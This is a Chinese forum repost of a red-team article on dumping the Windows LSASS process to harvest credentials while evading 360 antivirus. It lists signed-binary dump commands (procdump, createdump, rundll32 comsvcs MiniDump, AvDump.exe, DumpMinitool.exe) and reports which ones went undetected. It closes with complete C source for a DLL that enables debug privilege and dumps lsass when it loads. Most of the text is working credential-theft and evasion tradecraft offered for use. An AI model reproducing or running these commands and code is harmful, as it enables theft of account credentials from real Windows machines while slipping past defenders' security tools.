|
本帖最后由 luozhenni 于 2022-4-14 11:20 编辑
绕过360实现lsass转储
原创 ccYo1 红队蓝军 2022-04-14 11:00
原文链接:绕过360实现lsass转储
前言
获取Windows用户的凭证信息是渗透过程中至关重要的一步。
没杀软,只要有权限想怎么读就怎么读。
有杀软,得用一些特别的技巧。
注:本机所有测试均为物理机,且为最新版AV
Mimikatz直接读取Lsass进程
权限提升
抓取密码
但如果此时目标机器上有AV,必定将收到拦截
此时mimikatz必须免杀。
一般来说,目标机器有杀软的存在,更倾向于离线解析密码。
白名单文件dump
首先说三个微软签名的白名单程序
- Procdump.exe
- SQLDumper.exe
- createdump.exe
Procdump.exe(no)
尽管procdump拥有微软签名,但大部分AV厂商对此并不买账。
- procdump.exe -ma lsass.exe 1.txt
复制代码
SQLDumper.exe也是一样的
createdump.exe(no)
createdump.exe随着.NET5出现的,本身是个native binary
虽然有签名同样遭到AV查杀
- createdump.exe -u -f lsass.dmp lsass[PID]
复制代码
Rundll32.exe(no)
使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存
- rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full
复制代码
同样被查杀
avdump.exe(yes)
AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。
默认路径为:
C:\Program Files\Avast Software\Avast
- AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
复制代码
成功dump并解密,全程数字杀软无感。
DumpMinitool.exe(yes)
此exe为近日mr.d0x的某推上分享了的一个LOLBIN,通过vs2022里的DumpMinitool.exe来导出lsass进程。
路径为:
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
数字杀软全程无感
- DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full
复制代码
其他方式
SilentProcessExit进行Dump(no)
具体原理参考文章:利用SilentProcessExit机制dump内存
Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。
但该方式需要修改注册表,修改注册表操作将会被查杀。
编写Dump Lsass的DLL(yes)
- 获取Debug权限
- 找到lsass的PID
- 使用MiniDump或MiniDumpWriteDump进行内存dump
- #include <stdio.h>
- #include <Windows.h>
- #include <tlhelp32.h>
- typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
- int GetLsassPid() {
- PROCESSENTRY32 entry;
- entry.dwSize = sizeof(PROCESSENTRY32);
- HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
- if (Process32First(hSnapshot, &entry)) {
- while (Process32Next(hSnapshot, &entry)) {
- if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
- return entry.th32ProcessID;
- }
- }
- }
- CloseHandle(hSnapshot);
- return 0;
- }
- void GetDebugPrivilege()
- {
- BOOL fOk = FALSE;
- HANDLE hToken;
- if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
- {
- TOKEN_PRIVILEGES tp;
- tp.PrivilegeCount = 1;
- LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
- tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
- AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
- fOk = (GetLastError() == ERROR_SUCCESS);
- CloseHandle(hToken);
- }
- }
- void DumpLsass()
- {
- wchar_t ws[100];
- _MiniDumpW MiniDumpW;
-
- MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
- swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
- GetDebugPrivilege();
- MiniDumpW(0, 0, ws);
- }
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- DumpLsass();
- break;
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
复制代码
成功dump,数字杀软无感。
|
|